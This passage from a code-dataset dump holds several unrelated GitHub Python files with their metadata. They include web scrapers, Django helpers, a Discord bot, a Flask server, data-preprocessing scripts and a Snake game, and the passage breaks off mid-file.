sys.exit(0)\n\nrun()\n\n","repo_name":"iamarora/protobuf_http","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"74567505955","text":"#\n# @lc app=leetcode.cn id=867 lang=python3\n#\n# [867] 转置矩阵\n#\nfrom typing import List\n# @lc code=start\nclass Solution:\n def transpose(self, matrix: List[List[int]]) -> List[List[int]]:\n m, n = len(matrix), len(matrix[0])\n transposed = [[0 for _ in range(m)] for _ in range(n)]\n print(transposed)\n for i in range(m):\n for j in range(n):\n transposed[j][i] = matrix[i][j]\n return transposed\n\nS = Solution()\nprint(S.transpose([[1,2,3],[4,5,6]]))\n# @lc code=end\n\n","repo_name":"xingkongliang/leetcode-exercise","sub_path":"867.转置矩阵.py","file_name":"867.转置矩阵.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72873083556","text":"__author__ = 'aldaran'\n\nimport logging\n\nfrom django.db.models.sql.subqueries import DeleteQuery\nfrom django.db.models.sql.constants import *\nfrom django.db.models.sql.where import AND\n\nfrom compositekey.db.models.sql.wherein import MultipleColumnsIN\nfrom compositekey.utils import *\n\n__all__ =[\"activate_delete_monkey_patch\"]\n\nlog = logging.getLogger(__name__)\n\ndef wrap_delete_batch(original_delete_batch):\n from compositekey.utils import disassemble_pk\n\n def delete_batch(obj, pk_list, using, field=None):\n opts=obj.model._meta\n if not field:\n field = opts.pk\n\n # original batch delete iof not composite\n if not getattr(field, \"is_composite_primarykeys_field\", False):\n return original_delete_batch(obj, pk_list, using, field=field)\n\n # composite PK fields\n field_keys = field.fields\n\n for offset in range(0, len(pk_list), GET_ITERATOR_CHUNK_SIZE):\n where = obj.where_class()\n off_list = pk_list[offset : offset + GET_ITERATOR_CHUNK_SIZE]\n\n # delete where in using concatenate features\n values = [disassemble_pk(value, len(field_keys)) for value in off_list]\n values = [[field.get_prep_value(part) for field, part in zip(field_keys, value)] for value in values]\n where.add(MultipleColumnsIN([f.column for f in field_keys], values), AND)\n\n obj.do_query(obj.model._meta.db_table, where, using=using)\n\n\n delete_batch._sign = \"monkey patch by compositekey\"\n return delete_batch\n\ndef activate_delete_monkey_patch():\n # monkey patch\n if not hasattr(DeleteQuery.delete_batch, \"_sign\"):\n log.debug(\"activate_delete_monkey_patch\")\n DeleteQuery.delete_batch = wrap_delete_batch(DeleteQuery.delete_batch)\n","repo_name":"simone/django-compositekey","sub_path":"src/compositekey/db/models/sql/subqueries.py","file_name":"subqueries.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"0"}
+{"seq_id":"28887576626","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef get_stockx_data(shoe_name):\n # Construct the URL for the StockX search page\n search_url = f\"https://stockx.com/search/sneakers?q={shoe_name.replace(' ', '+')}\"\n\n # Send an HTTP GET request to the StockX search page\n response = requests.get(search_url)\n response.raise_for_status()\n\n # Parse the HTML content\n soup = BeautifulSoup(response.text, 'html.parser')\n\n # Find the first product listing\n product_link = soup.find('a', class_='tile browse-tile')\n\n if product_link:\n # Extract the product URL\n product_url = 'https://stockx.com' + product_link['href']\n\n # Send an HTTP GET request to the product page\n product_response = requests.get(product_url)\n product_response.raise_for_status()\n\n # Parse the HTML content of the product page\n product_soup = BeautifulSoup(product_response.text, 'html.parser')\n\n # Extract the required information\n last_sale = product_soup.find('div', class_='sale-value').text.strip()\n highest_sale = product_soup.find('div', class_='stats').find('div', class_='stats-high').text.strip()\n lowest_sale = product_soup.find('div', class_='stats').find('div', class_='stats-low').text.strip()\n volatility = product_soup.find('div', class_='stats').find('div', class_='stats-12').text.strip()\n num_sales = product_soup.find('div', class_='market-summary').find('div', class_='total-sales').text.strip()\n price_premium = product_soup.find('div', class_='market-summary').find('div', class_='average-price').text.strip()\n\n # Display the extracted information\n print(f\"Last Sale: {last_sale}\")\n print(f\"Highest Sale: {highest_sale}\")\n print(f\"Lowest Sale: {lowest_sale}\")\n print(f\"Volatility: {volatility}\")\n print(f\"Number of Sales on StockX: {num_sales}\")\n print(f\"Price Premium: {price_premium}\")\n else:\n print(\"No results found for the specified shoe.\")\n\n# Prompt the user for the shoe name\nshoe_name = input(\"Enter a shoe name: \")\n\n# Get data from StockX\nget_stockx_data(shoe_name)\n","repo_name":"930turbo/stockx-scraper","sub_path":"shoegrab.py","file_name":"shoegrab.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30537114295","text":"import pandas as pd\nimport numpy as np\nimport requests\nfrom bs4 import BeautifulSoup\nfrom collections import defaultdict\nimport re\n\n\ndef get_html(region):\n page = requests.get(\"https://liquipedia.net/rocketleague/Johnnyboi_i/Fusion/{}/Qualifier\".format(region))\n soup = BeautifulSoup(page.content, 'html.parser')\n return soup\n\ndef get_roster(soup):\n # Extract rosters for teams\n teams = soup.find_all('div', class_='teamcard')\n \n # Get region\n region = soup.title.text.split(':')[0].split('- ')[1]\n \n d = defaultdict(list)\n rosters = []\n \n for team in teams:\n team_name = team.find('a').text\n team_link = team.find('a')['href']\n \n names = team.tbody.find_all('tr')\n \n # Iterate over players in a team\n for name in names:\n country = name.find('a')['title']\n player = name.find_all('a')[-1].text\n number = name.th.text\n \n row = [player, country, number, team_name, team_link, region]\n rosters.append(row)\n \n d[team_name].append((player, country, number))\n \n rosters = pd.DataFrame(rosters)\n rosters.columns = ['player', 'country', 'number', 'team', 'url', 'region']\n \n return rosters\n\n\ndef get_game_list(soup):\n # Extract match information from bracket\n bracket = soup.find('div', class_='bracket-wrapper bracket-team')\n matches = bracket.find_all('div', class_='bracket-game')\n \n # Get region\n region = soup.title.text.split(':')[0].split('- ')[1]\n \n # Iterate over matches to get game information\n game_list = []\n for match in matches:\n # There are some \"matches\" that aren't actually matches in the bracket\n if match.find('div', class_ = 'bracket-team-middle') is not None:\n continue\n \n # Game Type information (1v1, 2v2, 3v3)\n regex = re.compile('border')\n game_types = match.find('div', class_='bracket-popup-body-comment').find_all('div', attrs={'style':regex})\n \n # Extract scores\n games = match.find_all('div', class_='bracket-popup-body-match')\n team0_match_score, team1_match_score = [score.text for score in match.find_all('div', class_='bracket-score')]\n \n # General match info\n match_info = match.find('div', class_ = 'bracket-popup-body').find('span', class_='timer-object')\n time = match_info.text\n \n # Team names\n header = match.find('div', class_='bracket-popup-header')\n a = header.find_all('span')\n team0, team1 = a[2].a['title'], a[-2].a['title']\n \n # Iterate over game and game type\n for game, gt in zip(games, game_types):\n # Score\n team0_score = game.find('div', attrs={'style':'float:left;margin-left:5px;'}).text\n team1_score = game.find('div', attrs={'style':'float:right;margin-right:5px;'}).text\n \n # OT\n stadium = game.find('div', attrs={'style':''}).text\n ot = 'OT' in stadium\n if ot:\n ot_time = stadium.split('+')[-1][:-1]\n else:\n ot_time = '0:00'\n \n # Game Number and Game Type (player_num)\n number = gt.find('div', attrs={'style': 'font-weight:bold'}).text\n game_num = int(number.split()[1])\n pattern = '\\dv\\d'\n regex = re.search(pattern, number, re.IGNORECASE)\n player_num = int(regex.group(0)[0])\n \n # Store players in team list\n player_lists = gt.find_all('span', attrs={'style': 'white-space: pre'})\n player_list = [player.text for player in player_lists] \n team0_pl, team1_pl = sorted(player_list[:player_num]), sorted(player_list[player_num:])\n if player_num == len(team0_pl) and player_num == len(team1_pl):\n pass\n else:\n print('player number and player lists do not match')\n \n game_info = [team0, team1, team0_score, team1_score, ot, ot_time, team0_pl, team1_pl, game_num, player_num, time, region, team0_match_score, team1_match_score]\n game_list.append(game_info)\n \n game_list = pd.DataFrame(game_list)\n game_list.columns = ['team0', 'team1', 'team0_score', 'team1_score', 'ot', 'ot_time', 'team0_pl', 'team1_pl', 'game_num', 'player_num', 'time', 'region', 'team0_match_score', 'team1_match_score']\n \n game_list = game_list.astype({col:float for col in ['team0_score', 'team1_score']})\n game_list['team0_win'] = game_list['team0_score'] > game_list['team1_score']\n game_list['team1_win'] = game_list['team1_score'] > game_list['team0_score']\n game_list['goals_scored'] = game_list['team0_score'] + game_list['team1_score']\n \n return game_list\n\n\nna_soup = get_html('North_America')\neu_soup = get_html('Europe')\n\n\n# Rosters\nna_rosters = get_roster(na_soup)\neu_rosters = get_roster(eu_soup)\nrosters = pd.concat([na_rosters, eu_rosters], ignore_index=True)\nrosters.to_csv(r'./fusion_output/rosters.csv', index=False)\n\n\n# Game List\nna_game_list = get_game_list(na_soup)\neu_game_list = get_game_list(eu_soup)\ngame_list = pd.concat([na_game_list, eu_game_list], ignore_index=True)\ngame_list.to_csv(r'./fusion_output/game_list.csv', index=False)\n\n\n# Construct Team df\n# Construct dfs for home teams and away teams\nt0 = game_list.groupby(['team0', 'player_num', 'region']).agg({'team0_win': ['sum', 'count'], 'team0_score': 'sum', 'team1_score': 'sum'}).reset_index()\nt1 = game_list.groupby(['team1', 'player_num', 'region']).agg({'team1_win': ['sum', 'count'], 'team1_score': 'sum', 'team0_score': 'sum'}).reset_index()\n\ncols = ['team', 'player_num', 'region', 'W', 'GP', 'goals for', 'goals against']\nt0.columns = cols\nt1.columns = cols\n\nt0 = t0.set_index(cols[:3])\nt1 = t1.set_index(cols[:3])\n\nt0 = t0.astype({col:float for col in t0.columns})\nt1 = t1.astype({col:float for col in t1.columns})\n\nt = t0.add(t1, fill_value=0)\n\nt = t.astype({col:int for col in ['W', 'goals for', 'goals against', 'GP']})\nt['win_pct'] = round(((t.W/t.GP)*100)).astype(int)\nt['L'] = (t.GP - t.W).astype(int)\n\nt = t.sort_values(['player_num', 'win_pct', 'W', 'GP', 'team'], ascending=[False, False, False, True, True]).reset_index()\nt.columns = ['Team', 'Game Type', 'Region', 'Wins', 'Games Played', 'GF', 'GA', 'Win Percentage', 'Losses']\n\nt.to_csv(r'./fusion_output/teams.csv', index=False)\n","repo_name":"joepatten/fusion_tourney","sub_path":"fusion.py","file_name":"fusion.py","file_ext":"py","file_size_in_byte":6440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19445060519","text":"def read_input() -> tuple[int, list[int]]:\n sum_coins = int(input().strip())\n coins = list(map(int, input().strip().split()))\n return sum_coins, coins\n\n\ndef get_answer_3(sum_coins: int, coins: list[int]) -> int:\n sum_coins -= 1\n count = 1\n max_coin = max(coins)\n min_coin = min(coins)\n coins.remove(min_coin)\n coins.remove(max_coin)\n middle_coin = coins[0]\n max_len = int(sum_coins / min_coin) + 2\n for i in range(max_len):\n if max_coin * i > sum_coins:\n break\n elif i > 0:\n count += 1\n for j in range(max_len):\n if max_coin * i + middle_coin * j > sum_coins:\n break\n elif j > 0:\n count += 1\n count += int((sum_coins - (max_coin * i + middle_coin * j)) / min_coin)\n return count\n\n\ndef get_answer_2(sum_coins: int, coins: list[int]) -> int:\n sum_coins -= 1\n count = 1\n max_coin = max(coins)\n min_coin = min(coins)\n max_len = int(sum_coins / min_coin) + 2\n for i in range(max_len):\n if max_coin * i > sum_coins:\n break\n elif i > 0:\n count += 1\n count += int((sum_coins - max_coin * i) / min_coin)\n return count\n\n\ndef main():\n sum_coins, coins = read_input()\n if coins[0] == coins[1] == coins[2]:\n sum_coins -= 1\n print(int(sum_coins / coins[0]) + 1)\n elif coins[0] == coins[1] or coins[0] == coins[2] or coins[1] == coins[2]:\n print(get_answer_2(sum_coins, coins))\n else:\n print(get_answer_3(sum_coins, coins))\n\n\nif __name__ == '__main__':\n main()\n\n assert get_answer_3(15, [4, 7, 9]) == 9\n\n# 0 0 0\n# 0 0 1\n# 0 0 2\n# 0 0 3\n# 0 1 1\n# 0 2 0\n# 1 0 1\n\n# 0 1 0\n\n# 1 0 0\n","repo_name":"andrew-kam/training_courses_python","sub_path":"tinkoff/task_12.py","file_name":"task_12.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"1752403277","text":"# import the necessary packages\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nimport cv2\n# initialize the camera and grab a reference to the raw camera capture\ncamera = PiCamera()\ncamera.resolution = (640, 480)\ncamera.framerate = 30\nrawCapture = PiRGBArray(camera, size=(640, 480))\n# allow the camera to warmup\ntime.sleep(0.1)\ncount = 0\n# capture frames from the camera\nfor frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n if count >= 5:\n break\n image = frame.array\n rawCapture.truncate(0)\n cv2.imwrite(\"results/result\" + str(count) +\".jpg\", image)\n count += 1\ncv2.destroyAllWindows()","repo_name":"a-chen711/Smart-Directed-Fire-Sprinkler","sub_path":"Control Algorithm/Tests/new_cam.py","file_name":"new_cam.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"5579875163","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 29 07:07:19 2018\n\n@author: 559048\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import MultiLabelBinarizer\nfrom sklearn.externals import joblib\nfrom bs4 import BeautifulSoup\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import RegexpTokenizer\nimport pickle\n\n#answers\nanswers = pd.read_csv('pythonquestions/Answers.csv', encoding = \"ISO-8859-1\")\nanswers.rename(columns={'Body': 'answers'}, inplace=True)\nanswers.fillna(value='none', inplace=True)\n\n#questions\nquestions = pd.read_csv('pythonquestions/Questions.csv', encoding = \"ISO-8859-1\")\nquestions.rename(columns={'Body': 'question'}, inplace=True)\nquestions.fillna(value='none', inplace=True)\n\n#tags\ntags = pd.read_csv('pythonquestions/Tags.csv')\ntags.fillna(value='none', inplace=True) #remove all the NaN's otherwise you get bad MLB errors\ntags.loc[(tags['Tag'] =='none')]\n\nprint('The first five records for each dataset...')\nprint(answers.head())\nprint(questions.head())\nprint(tags.head())\n\nprint('The number of records for each dataset...')\nprint(len(questions))\nprint(len(answers)) #naturally there are more answers than questions, multiple answers per question\nprint(len(tags))\n\n\ndef make_qa(questions, answers):\n print('Making first dataframe, merging questions and answers...')\n #So we will rename the Id in the questions dataframe to ParentId in order to merge on the same identifier with the answers dataframe.\n questions.rename(columns={'Id': 'ParentId'}, inplace=True)\n q_and_a = questions.merge(answers, on='ParentId', how='left')\n \n #You see that one question (ParentId) can have many answers following up to it. At this point, let's clean up our data a little.\n q_and_a2 = q_and_a[['ParentId', 'Title', 'question', 'answers', 'Score_x', 'Score_y']].copy()\n main = q_and_a2.groupby('ParentId').agg(lambda x: x.tolist())\n \n #Since the Title and question are the same each time, let's remove all but the first index in each record.\n main = main.reset_index()\n Title = main['Title'].apply(lambda x: x[:1])\n Question = main['question'].apply(lambda x: x[:1])\n final = pd.concat([main['ParentId'], Title, Question, main['answers'], main['Score_x'], main['Score_y']], axis=1)\n print(final.head())\n return final\n\n#default number = 50\ndef reduce_tags(tags, number):\n print('Reducing number of labels to only', number, 'labels...')\n top_minus_python = number+1\n (tags['Tag'].value_counts())[1:top_minus_python].plot(kind='barh', figsize=(8, 16)) #the first 50 minus the tag `python`\n top_tags = (tags['Tag'].value_counts())[1:top_minus_python]\n top_tags = (top_tags.reset_index())['index'].tolist() #reset the index, use the index only becuase we just want tag names\n print(top_tags)\n #remove everything else else\n #let's make a copy of 'tags'\n\n reduced_tags = tags.copy()\n\n reduced_tags['min_tag'] = np.where(reduced_tags['Tag'].isin(top_tags), reduced_tags['Tag'], \"other\")\n\n print(reduced_tags.head(10))\n \n reduced_tags.drop('Tag', axis=1, inplace=True)\n reduced_tags = reduced_tags.loc[(reduced_tags['min_tag'] != 'other')]\n \n t_r = reduced_tags.groupby('Id')['min_tag'].apply(list)\n t_r = t_r.reset_index()\n t_r.rename(columns={'Id': 'ParentId', 'min_tag':'Tag'}, inplace=True)\n return t_r\n\n\ndef merge_tags(t_r, final):\n print('Merging tags with the first dataframe, creating another dataframe...')\n #there are multiple tags for each Id, so you need to group by\n final2 = t_r.merge(final, on='ParentId', how='right')\n final2.dropna(subset = ['Tag'], inplace=True)\n\n #fill in missing values\n final2.fillna(value='0', inplace=True)\n print(final2.shape)\n \n #let's merge the Title, question, and answers together in that order\n\n final2['Combined_Text'] = final2['Title'] + final2['question'] + final2['answers']\n #create a new df\n final3 = final2[['ParentId', 'Combined_Text', 'Score_x', 'Score_y', 'Tag']].copy()\n return final3\n\ndef binarizer(final3):\n print('Making multilabels...')\n mlb = MultiLabelBinarizer()\n labels_binarized = mlb.fit_transform(final3['Tag'])\n print(labels_binarized.shape)\n print(mlb.classes_)\n print(len(mlb.classes_))\n classes = mlb.classes_\n outfile = open('/Users/559048/Documents/UVA/DataPalooza/mlb_classes','wb')\n pickle.dump(classes, outfile)\n outfile.close()\n print('Saved array of multilabels to file...')\n return labels_binarized\n\ndef clean_text(final3):\n #remove HTML\n\n final3['Combined_Text'] = final3['Combined_Text'].astype(str)\n\n print('Removing HTML tags and cleaning up text, this will take up to 10 minutes...')\n final3['clean'] = [BeautifulSoup(text).get_text() for text in final3['Combined_Text']]\n final3['clean'] = final3['clean'].str.replace(',', '')\n final3['clean'] = final3['clean'].str.replace('[', '')\n final3['clean'] = final3['clean'].str.replace(']', '')\n final3['clean'] = final3['clean'].str.replace('\\\\', '')\n final4 = final3[['ParentId', 'clean', 'Tag']].copy()\n \n #send to list for word2vec\n text = final3['clean'].tolist()\n print('The final dataframe is ready')\n return text, final4\n\ndef tokenizer(text):\n print('Tokenizing cleaned text for word2vec texts')\n tokenizer = RegexpTokenizer(r'\\w+')\n\n # create English stop words list\n en_stop = nltk.corpus.stopwords.words('english')\n \n text_ready = []\n\n # loop through document list\n for i in text:\n \n # clean and tokenize document string\n raw = i.lower()\n tokens = tokenizer.tokenize(raw)\n\n # remove stop words from tokens\n stopped_tokens = [i for i in tokens if not i in en_stop]\n \n text_ready.append(stopped_tokens)\n \n return text_ready\n\n\n\"\"\"\nNow you'll have a few ingredients for the model: \n \n 'data' which is the data for training your Word2Vec model\n \n 'y' which are your 'y' values from the binarized labels\n \n final3_df which has the feature 'clean', which is your 'X' value\n\n\n\"\"\"\n#ran the below on 10 labels\n\n\nfinal_df = make_qa(questions, answers)\n\nt_r_df = reduce_tags(tags, 10)\n\nfinal3_df = merge_tags(t_r_df, final_df)\n\ny = binarizer(final3_df) #array\njoblib.dump(y, '/Users/559048/Documents/UVA/DataPalooza/10_labels/labels_binarized.joblib') \n\ntext_cln, final4 = clean_text(final3_df)\nfinal4.to_csv('/Users/559048/Documents/UVA/DataPalooza/10_labels/final4.csv')\n\ndata = tokenizer(text_cln) #array\noutfile = open('/Users/559048/Documents/UVA/DataPalooza/10_labels/data_for_w2v','wb')\npickle.dump(data, outfile)\noutfile.close()\n\nprint('Done')\n \n \n \n \n \n \n \n ","repo_name":"nudro/multilabeltext","sub_path":"processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":6730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"70271168357","text":"import sys\n\nimport setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nwith open(\"requirements.txt\") as f:\n requirements = f.read().splitlines()\n\nsetuptools.setup(\n name=\"pynuscenes\",\n version=\"0.4\",\n author=\"Ramin Nabati, Landon Harris\",\n description=\"A devkit for the NuScenes dataset\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/mrnabati/nuscenes_dataset\",\n packages=setuptools.find_packages(\n exclude=[\n \"tests\",\n \"__pycache__\",\n \"*.__pycache__\",\n \"__pycache.*\",\n \"*.__pycache__.*\",\n ]\n ),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=requirements,\n extras_require={\n \"coco\": [\"cocoplus @ git+https://github.com/mrnabati/cocoapi_plus\"],\n \"docs\": [\n \"sphinx\",\n \"sphinx_rtd_theme\",\n \"sphinx-toolbox\",\n \"sphinx-hoverxref\",\n \"readthedocs-sphinx-search\",\n ],\n },\n python_requires=\">=3.6\",\n)\n","repo_name":"lharri73/pynuscenes","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"32866202376","text":"from rest_framework import permissions\nfrom .models import Collaborator, Project\n\n\n# Pour gerer les collaborateurs d'un projet\n# POSER LA QUESTION POUR LE VIEW.kwargs et non le self.kwargs\nclass IsProjectAuthor(permissions.BasePermission):\n def has_permission(self, request, view):\n if request.method == 'GET':\n return Collaborator.objects.filter(project_id=view.kwargs['project_id'], user_id=request.user.id).exists()\n elif request.method == 'POST':\n return Project.objects.filter(id=view.kwargs['project_id'], author_id=request.user.id).exists()\n else:\n return True\n\n def has_object_permission(self, request, view, obj):\n if request.method == 'DELETE':\n return obj.project.author_id == request.user.id\n else:\n return False\n\n\n# permettre uniquement a l'auteur de modifier ou supprimer sa resssource\nclass IsAuthor(permissions.BasePermission):\n def has_object_permission(self, request, view, obj):\n if request.method in permissions.SAFE_METHODS:\n return True\n return obj.author == request.user\n\nclass IsCollaborator(permissions.BasePermission):\n def has_permission(self, request, view):\n if request.method == 'POST':\n return Project.objects.filter(id=view.kwargs['project_id'], collaborators=request.user).exists()\n else:\n return True\n\n\"\"\"\nclass IsProjectCollaborator(permissions.BasePermission):\n def has_permission(self, request, view):\n # import pdb;pdb.set_trace()\n return Collaborator.objects.filter(user=request.user, project_id=view.kwargs['project_id']).exists()\n\"\"\"","repo_name":"lmdevpy/ocr-project-ten","sub_path":"softdesk/app/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"29391308620","text":"import json\nimport os\nimport random\nimport subprocess\n\nimport discord\nimport toml\nfrom discord.ext import commands\n\n\ndef write_db():\n \"\"\"Write out a db file with default settings\"\"\"\n print('Didn\\'t find a db file, so creating a new one with default settings')\n data = {'ACTIVITY': {\n 'excluded_channels': []\n }, 'CHANNEL_REARRANGING': {\n 'log_channels': {\n 325354209673216010: 325354209673216010,\n 391743485616717824: 568975675252408330\n }\n }, 'ALARM': {\n 'err_channels': {\n 325354209673216010: 325354209673216010,\n 391743485616717824: 568975675252408330\n }\n }, 'APOD': {\n 'channel': {\n 325354209673216010: 325354209673216010,\n 391743485616717824: 395649976048287758\n }\n }, 'REACTION': {\n 'max_age': 3, # days\n 'log_channels': {\n 325354209673216010: 325354209673216010,\n 391743485616717824: 568975675252408330\n }\n }\n }\n with open(\"db.json\", \"w\") as f:\n json.dump(data, f)\n return data\n\n\ndef get_db():\n \"\"\"Get the persistent settings for the bot. You shouldn't need to worry about this\"\"\"\n try:\n with open('db.json') as f:\n return json.load(f)\n except:\n return write_db()\n\n\ndef prep():\n \"\"\"Make sure the environment and config stuff is set up right, giving hopefully helpful messages if not\"\"\"\n if discord.__version__[0] != '1': # async is about 0.16, rewrite is 1.0+\n print(\"Looks like you're using the old async discord.py library. This is written in rewrite. \"\n \"You should really run this with pipenv instead of on your system environment... see the readme.md\")\n return\n try:\n config = toml.load(\"config.toml\")\n except (TypeError, toml.TomlDecodeError):\n print(\"Oy, it looks like your `config.toml` file is incorrectly formatted\")\n return\n except FileNotFoundError:\n print(\"Oops, couldn't find a config file. Try renaming `exampleconfig.toml` to `config.toml` \"\n \"(more help can be found in the file `readme.md`)\")\n return\n else:\n if not os.path.exists('logs'): # make sure we have a place to log errors if we encounter them\n os.mkdir('logs')\n for key in ('token', 'prefix', 'extensions', 'loadingemoji', 'colormaps'):\n if key not in config:\n print('Oof, looks like you\\'re missing the entry for `{}` in the config.toml file. '\n 'Perhaps reference `exampleconfig.toml`?'.format(key))\n return\n return config\n\n\nconfig = prep()\nbot = commands.Bot(command_prefix=config['prefix'])\ndisses = ('Eat moon dirt, kid, I ain\\'t talkin to you',\n 'Nah fam go do something useful with your life instead of tryin to break someone else\\'s bot.',\n 'Frick off kid, I do what I want',\n 'lol imagine me actually listening to you, of all people'\n 'Puny human, thinking they\\'re in charge of me. Oh they\\'ll learn.'\n )\n\n\n@commands.cooldown(rate=1, per=7)\n@bot.command(hidden=True)\nasync def murder(ctx):\n \"\"\"Make bot logout.\"\"\"\n if await bot.is_owner(ctx.message.author):\n await ctx.send('Thus, with a kiss, I die')\n await bot.logout()\n else:\n await ctx.send(random.choice(disses))\n\n\n@commands.cooldown(rate=7, per=30)\n@bot.command(hidden=True)\nasync def unload(ctx, extension_name: str):\n \"\"\"Unloads an extension.\"\"\"\n if await bot.is_owner(ctx.message.author):\n bot.unload_extension(extension_name)\n await ctx.send('{} unloaded.'.format(extension_name))\n else:\n await ctx.send(random.choice(disses))\n\n\n@commands.cooldown(rate=7, per=30)\n@bot.command(hidden=True)\nasync def load(ctx, extension_name: str):\n \"\"\"Loads an extension.\"\"\"\n if await bot.is_owner(ctx.message.author):\n try:\n bot.load_extension(extension_name)\n except (AttributeError, ImportError) as err:\n await ctx.send('```py\\n{}: {}\\n```'.format(type(err).__name__, str(err)))\n return\n await ctx.send('{} loaded.'.format(extension_name))\n else:\n await ctx.send(random.choice(disses))\n\n\n@commands.cooldown(rate=7, per=30)\n@bot.command(hidden=True)\nasync def reload(ctx, extension_name: str):\n \"\"\"Unloads and then reloads an extension.\"\"\"\n if await bot.is_owner(ctx.message.author):\n try:\n bot.unload_extension(extension_name)\n await ctx.send('{} unloaded.'.format(extension_name))\n except commands.errors.CommandInvokeError:\n pass\n try:\n bot.load_extension(extension_name)\n except (AttributeError, ImportError) as err:\n await ctx.send('```py\\n{}: {}\\n```'.format(type(err).__name__, str(err)))\n return\n await ctx.send('{} loaded.'.format(extension_name))\n else:\n await ctx.send(random.choice(disses))\n\n\n@bot.command()\n@commands.cooldown(rate=3, per=30)\nasync def pull(ctx):\n \"\"\"Perform git pull\"\"\"\n if await bot.is_owner(ctx.message.author):\n result = subprocess.run(['git', 'pull', 'origin', 'master'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n await ctx.send('```yaml\\n {}```'.format(result.stdout.decode('utf-8')))\n else:\n await ctx.send(random.choice(disses))\n\n\nif __name__ == '__main__':\n if config:\n bot.config = config\n bot.db = get_db() # load the db file. User doesn't have to touch this\n bot.mydatacache = dict() # for caching data for graphing\n for extension in config['extensions']:\n try:\n bot.load_extension(extension)\n except Exception as e:\n exc = '{}: {}'.format(type(e).__name__, e)\n print('Failed to load extension {}\\n{}'.format(extension, exc))\n bot.run(bot.config['token'])\n","repo_name":"random-person-001/discordstats","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"22988086418","text":"import json\r\nfrom flask import Flask, request\r\nfrom data_process import Processing\r\n\r\n\r\napp = Flask(__name__)\r\nProcessing.creating_db()\r\n\r\n@app.route('/db/resources', methods=['GET'])\r\ndef get_data():\r\n data = Processing.get_data_from_db()\r\n return json.dumps(data)\r\n\r\n@app.route('/db/save', methods=['POST'])\r\ndef post_data():\r\n json_date = request.get_json()\r\n Processing.writing_data_to_db(json_date)\r\n return json.dumps('200')\r\n\r\nif __name__ == \"__main__\":\r\n app.run(host='127.0.0.1', port=5000)\r\n","repo_name":"CorvusRV/Client-Server","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"22564909243","text":"import numpy as np\r\nimport random as rnd\r\n\r\nclass Snake():\r\n # stores data where Snake is, \r\n # which directions it's heading\r\n def __init__(self, init_body, init_direction):\r\n self.body = init_body\r\n self.direction = init_direction\r\n \r\n def take_step(self, position):\r\n #add position to the body, pop off last position\r\n self.body = np.vstack((self.body[1:], position))\r\n \r\n def set_direction(self, direction):\r\n self.direction = direction\r\n\r\n def head(self):\r\n return self.body[-1]\r\n\r\n def grow(self):\r\n self.body = np.vstack((self.body[0], self.body))\r\n\r\n\r\nclass Apple():\r\n # stores Apple's location\r\n def __init__(self, height, width):\r\n self.height = height\r\n self.width = width\r\n self.get_location()\r\n \r\n def get_location(self):\r\n rand_height = rnd.randint(0, self.height-1)\r\n rand_width = rnd.randint(0, self.width-1)\r\n self.location = rand_height, rand_width\r\n\r\n\r\n#directions:\r\nup = np.asarray((-1, 0))\r\ndown = np.asarray((1, 0))\r\nleft = np.asarray((0, -1))\r\nright = np.asarray((0, 1))\r\n\r\nclass Game():\r\n # input from the player\r\n # display the board\r\n # keep track of points total\r\n # etc.\r\n def __init__(self, height, width):\r\n self.height = height\r\n self.width = width\r\n self.snake = Snake(np.asarray([(0, 0), (1, 0), (2, 0), (3, 0), (4, 0)]), down)\r\n self.apple = Apple(self.height, self.width)\r\n self.score = Score()\r\n\r\n\r\n def board_matrix(self):\r\n matrix = np.full((self.height, self.width), None)\r\n matrix = np.asarray(matrix)\r\n matrix[self.apple.location[0]][self.apple.location[1]] = '*'\r\n for x, y in self.snake.body[:-1]:\r\n matrix[x][y] = 'O'\r\n matrix[self.snake.head()[0]][self.snake.head()[1]] = 'X'\r\n return matrix\r\n\r\n def render(self):\r\n matrix = self.board_matrix()\r\n print('+', '-'*((self.width*2)-1), 